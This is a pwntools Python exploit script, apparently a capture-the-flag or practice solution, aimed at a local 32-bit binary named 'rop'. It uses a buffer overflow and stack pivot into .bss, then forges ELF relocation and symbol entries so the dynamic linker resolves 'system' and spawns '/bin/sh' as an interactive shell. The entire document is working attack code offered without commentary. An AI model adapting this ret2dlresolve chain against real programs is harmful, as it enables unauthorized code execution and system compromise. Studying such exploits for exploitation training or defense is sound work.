from pwn import *

e = ELF('./rop')
binary = ELF(e.path)
p = process(binary.path)

# section address
addr_symtab	= e.get_section_by_name('.dynsym').header['sh_addr']
addr_strtab	= e.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt	= e.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt	= e.get_section_by_name('.plt').header['sh_addr']
addr_bss	= e.get_section_by_name('.bss').header['sh_addr']

read_plt = e.plt['read']
read_got = e.got['read']

log.info("Section Address")
log.info(".dynsym: "+hex(addr_symtab))
log.info(".dynstr: "+hex(addr_strtab))
log.info(".rel.plt: "+hex(addr_relplt))
log.info(".plt: "+hex(addr_plt))
log.info(".bss: "+hex(addr_bss))
log.info("read@plt: "+hex(read_plt))
log.info("read@got: "+hex(read_got))

pppr = 0x80484e9
pop_ebp = 0x080484eb
leave_ret = 0x08048458

stack_size = 0x300
base_stage = addr_bss + stack_size

# Stage 1
# read(0, base_stage, 100)
# jmp base_stage
payload = ''
payload += "A"*62
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(base_stage)
payload += p32(leave_ret)

# faking..
fake_reloc = base_stage + 20
fake_sym = fake_reloc + 8	# ELF32_Rel size -> 8
fake_symstr = fake_sym + 16	# ELF32_Sym size -> 16
fake_cmd = fake_symstr + 7	# "system\x00" -> 7

log.info("")
log.info("Fake Struct Information")
log.info("Fake_reloc: "+hex(fake_reloc))
log.info("Fake_sym: "+hex(fake_sym))
log.info("Fake_symstr: "+hex(fake_symstr))
log.info("Fake_cmd: "+hex(fake_cmd))

fake_reloc_offset = fake_reloc - addr_relplt
fake_r_info = ((fake_sym - addr_symtab) / 16) << 8
fake_r_info = fake_r_info | 0x7
fake_st_name = fake_symstr - addr_strtab

log.info("")
log.info("Fake Struct Information 2")
log.info("Fake_reloc_offset: "+hex(fake_reloc_offset))
log.info("Fake_r_info: "+hex(fake_r_info))
log.info("Fake_st_name: "+hex(fake_st_name))

p.sendafter('\n', payload)

# Stage 2
# _dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
payload = ''
payload += "AAAA"
payload += p32(addr_plt)
payload += p32(fake_reloc_offset)	# to find Elf32_Reloc at .rel.plt
payload += "BBBB"
# arg to function -> /bin/sh
payload += p32(fake_cmd)
# Fake Elf32_Reloc at .rel.plt
payload += p32(read_got)	# r_offset read@got -> target
payload += p32(fake_r_info)	# r_info -> to find SYMTAB
# Fake Elf32_Sym at SYMTAB
payload += p32(fake_st_name)	# st_name -> to find function at STRTAB
payload += p32(0)
payload += p32(0)
payload += p32(0x12)
# Fake st_name
payload += "system\x00"
# Function arg -> fake_cmd
payload += "/bin/sh\x00"

p.send(payload)
p.interactive()
